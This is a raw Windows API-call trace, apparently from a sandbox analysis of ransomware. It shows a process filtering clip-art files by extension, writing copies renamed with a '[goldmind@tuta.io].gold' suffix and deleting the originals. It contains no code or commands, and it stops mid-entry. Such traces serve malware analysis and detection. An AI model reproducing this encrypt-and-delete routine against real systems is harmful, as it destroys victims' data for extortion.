[0109.158] lstrlenW (lpString=".pdf") returned 4 [0109.158] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.158] lstrlenW (lpString=".xls") returned 4 [0109.158] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.158] lstrlenW (lpString=".xlsx") returned 5 [0109.158] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0109.158] lstrlenW (lpString=".ppt") returned 4 [0109.158] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0109.158] lstrlenW (lpString=".zip") returned 4 [0109.158] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.158] lstrlenW (lpString=".rar") returned 4 [0109.158] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.159] lstrlenW (lpString=".bz2") returned 4 [0109.159] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.159] lstrlenW (lpString=".7z") returned 3 [0109.159] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0109.159] lstrlenW (lpString=".dbf") returned 4 [0109.159] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0109.159] lstrlenW (lpString=".1cd") returned 4 [0109.159] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0109.159] lstrlenW (lpString=".jpg") returned 4 [0109.159] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.159] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0109.159] lstrlenW (lpString="J0146142.JPG") returned 12 [0109.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.159] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=46508) returned 1 [0109.160] CloseHandle (hObject=0x3b4) returned 1 [0109.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg")) returned 0x20 [0109.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.160] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.160] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0109.161] GetLastError () returned 0x0 [0109.161] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xb5ac, lpOverlapped=0x0) returned 1 [0109.363] WriteFile (in: hFile=0x188, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xb5b0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xb5b0, lpOverlapped=0x0) returned 1 [0109.364] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0109.364] WriteFile (in: hFile=0x188, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.364] SetEndOfFile (hFile=0x188) returned 1 [0109.364] CloseHandle (hObject=0x188) returned 1 [0109.364] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.364] SetEndOfFile (hFile=0x3b4) returned 1 [0109.366] CloseHandle (hObject=0x3b4) returned 1 [0109.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.380] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg")) returned 1 [0109.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0109.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0109.381] lstrlenW (lpString=".doc") returned 4 [0109.381] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.381] lstrlenW (lpString=".docx") returned 5 [0109.381] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0109.381] lstrlenW (lpString=".pdf") returned 4 [0109.381] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.381] lstrlenW (lpString=".xls") returned 4 [0109.381] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.381] lstrlenW (lpString=".xlsx") returned 5 [0109.381] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0109.381] lstrlenW (lpString=".ppt") returned 4 [0109.381] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0109.381] lstrlenW (lpString=".zip") returned 4 [0109.381] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.381] lstrlenW (lpString=".rar") returned 4 [0109.381] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.381] lstrlenW (lpString=".bz2") returned 4 [0109.381] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.381] lstrlenW (lpString=".7z") returned 3 [0109.381] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0109.381] lstrlenW (lpString=".dbf") returned 4 [0109.381] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0109.381] lstrlenW (lpString=".1cd") returned 4 [0109.382] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0109.382] lstrlenW (lpString=".jpg") returned 4 [0109.382] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0109.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0109.382] lstrlenW (lpString=".doc") returned 4 [0109.382] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.382] lstrlenW (lpString=".docx") returned 5 [0109.382] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0109.382] lstrlenW (lpString=".pdf") returned 4 [0109.382] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.382] lstrlenW (lpString=".xls") returned 4 [0109.382] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.382] lstrlenW (lpString=".xlsx") returned 5 [0109.382] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0109.382] lstrlenW (lpString=".ppt") returned 4 [0109.382] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0109.382] lstrlenW (lpString=".zip") returned 4 [0109.382] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.382] lstrlenW (lpString=".rar") returned 4 [0109.382] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.382] lstrlenW (lpString=".bz2") returned 4 [0109.382] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.382] lstrlenW (lpString=".7z") returned 3 [0109.382] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0109.382] lstrlenW (lpString=".dbf") returned 4 [0109.382] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0109.382] lstrlenW (lpString=".1cd") returned 4 [0109.382] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG") returned 63 [0109.382] lstrlenW (lpString=".jpg") returned 4 [0109.382] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.382] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.382] lstrlenW (lpString="J0150861.WMF") returned 12 [0109.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.383] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=8494) returned 1 [0109.383] CloseHandle (hObject=0x3b4) returned 1 [0109.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf")) returned 0x20 [0109.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.383] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.383] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0109.384] GetLastError () returned 0x0 [0109.384] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x212e, lpOverlapped=0x0) returned 1 [0109.397] WriteFile (in: hFile=0x188, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x2130, lpOverlapped=0x0) returned 1 [0109.398] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0109.398] WriteFile (in: hFile=0x188, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.398] SetEndOfFile (hFile=0x188) returned 1 [0109.398] CloseHandle (hObject=0x188) returned 1 [0109.398] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.398] SetEndOfFile (hFile=0x3b4) returned 1 [0109.401] CloseHandle (hObject=0x3b4) returned 1 [0109.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.414] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf")) returned 1 [0109.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0109.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0109.491] lstrlenW (lpString=".doc") returned 4 [0109.491] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.491] lstrlenW (lpString=".docx") returned 5 [0109.491] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0109.491] lstrlenW (lpString=".pdf") returned 4 [0109.491] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.491] lstrlenW (lpString=".xls") returned 4 [0109.491] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.491] lstrlenW (lpString=".xlsx") returned 5 [0109.491] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0109.491] lstrlenW (lpString=".ppt") returned 4 [0109.491] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0109.491] lstrlenW (lpString=".zip") returned 4 [0109.491] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.491] lstrlenW (lpString=".rar") returned 4 [0109.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.491] lstrlenW (lpString=".bz2") returned 4 [0109.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.491] lstrlenW (lpString=".7z") returned 3 [0109.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0109.491] lstrlenW (lpString=".dbf") returned 4 [0109.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0109.491] lstrlenW (lpString=".1cd") returned 4 [0109.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0109.491] lstrlenW (lpString=".jpg") returned 4 [0109.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0109.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0109.492] lstrlenW (lpString=".doc") returned 4 [0109.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.492] lstrlenW (lpString=".docx") returned 5 [0109.492] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0109.492] lstrlenW (lpString=".pdf") returned 4 [0109.492] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.492] lstrlenW (lpString=".xls") returned 4 [0109.492] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.492] lstrlenW (lpString=".xlsx") returned 5 [0109.492] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0109.492] lstrlenW (lpString=".ppt") returned 4 [0109.492] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0109.492] lstrlenW (lpString=".zip") returned 4 [0109.492] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.492] lstrlenW (lpString=".rar") returned 4 [0109.492] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.492] lstrlenW (lpString=".bz2") returned 4 [0109.492] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.492] lstrlenW (lpString=".7z") returned 3 [0109.492] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0109.492] lstrlenW (lpString=".dbf") returned 4 [0109.492] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0109.492] lstrlenW (lpString=".1cd") returned 4 [0109.492] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0109.492] lstrlenW (lpString=".jpg") returned 4 [0109.492] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.492] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.492] lstrlenW (lpString="J0151063.WMF") returned 12 [0109.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.521] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=10632) returned 1 [0109.521] CloseHandle (hObject=0x3b4) returned 1 [0109.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf")) returned 0x20 [0109.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.522] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.522] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0109.522] GetLastError () returned 0x0 [0109.522] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x2988, lpOverlapped=0x0) returned 1 [0109.524] WriteFile (in: hFile=0x194, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x2990, lpOverlapped=0x0) returned 1 [0109.525] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0109.525] WriteFile (in: hFile=0x194, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.525] SetEndOfFile (hFile=0x194) returned 1 [0109.525] CloseHandle (hObject=0x194) returned 1 [0109.525] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.525] SetEndOfFile (hFile=0x3b4) returned 1 [0109.527] CloseHandle (hObject=0x3b4) returned 1 [0109.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf")) returned 1 [0109.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0109.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0109.528] lstrlenW (lpString=".doc") returned 4 [0109.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.528] lstrlenW (lpString=".docx") returned 5 [0109.528] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0109.528] lstrlenW (lpString=".pdf") returned 4 [0109.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.528] lstrlenW (lpString=".xls") returned 4 [0109.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.528] lstrlenW (lpString=".xlsx") returned 5 [0109.528] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0109.528] lstrlenW (lpString=".ppt") returned 4 [0109.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0109.528] lstrlenW (lpString=".zip") returned 4 [0109.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.528] lstrlenW (lpString=".rar") returned 4 [0109.528] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.528] lstrlenW (lpString=".bz2") returned 4 [0109.528] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.528] lstrlenW (lpString=".7z") returned 3 [0109.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0109.528] lstrlenW (lpString=".dbf") returned 4 [0109.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0109.528] lstrlenW (lpString=".1cd") returned 4 [0109.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0109.528] lstrlenW (lpString=".jpg") returned 4 [0109.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0109.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0109.528] lstrlenW (lpString=".doc") returned 4 [0109.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.528] lstrlenW (lpString=".docx") returned 5 [0109.528] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0109.528] lstrlenW (lpString=".pdf") returned 4 [0109.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.528] lstrlenW (lpString=".xls") returned 4 [0109.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.528] lstrlenW (lpString=".xlsx") returned 5 [0109.528] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0109.528] lstrlenW (lpString=".ppt") returned 4 [0109.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF") returned 63 [0109.528] lstrlenW (lpString=".zip") returned 4 [0109.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.528] lstrlenW (lpString=".rar") returned 4 [0109.528] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.528] lstrlenW (lpString=".bz2") returned 4 [0109.529] 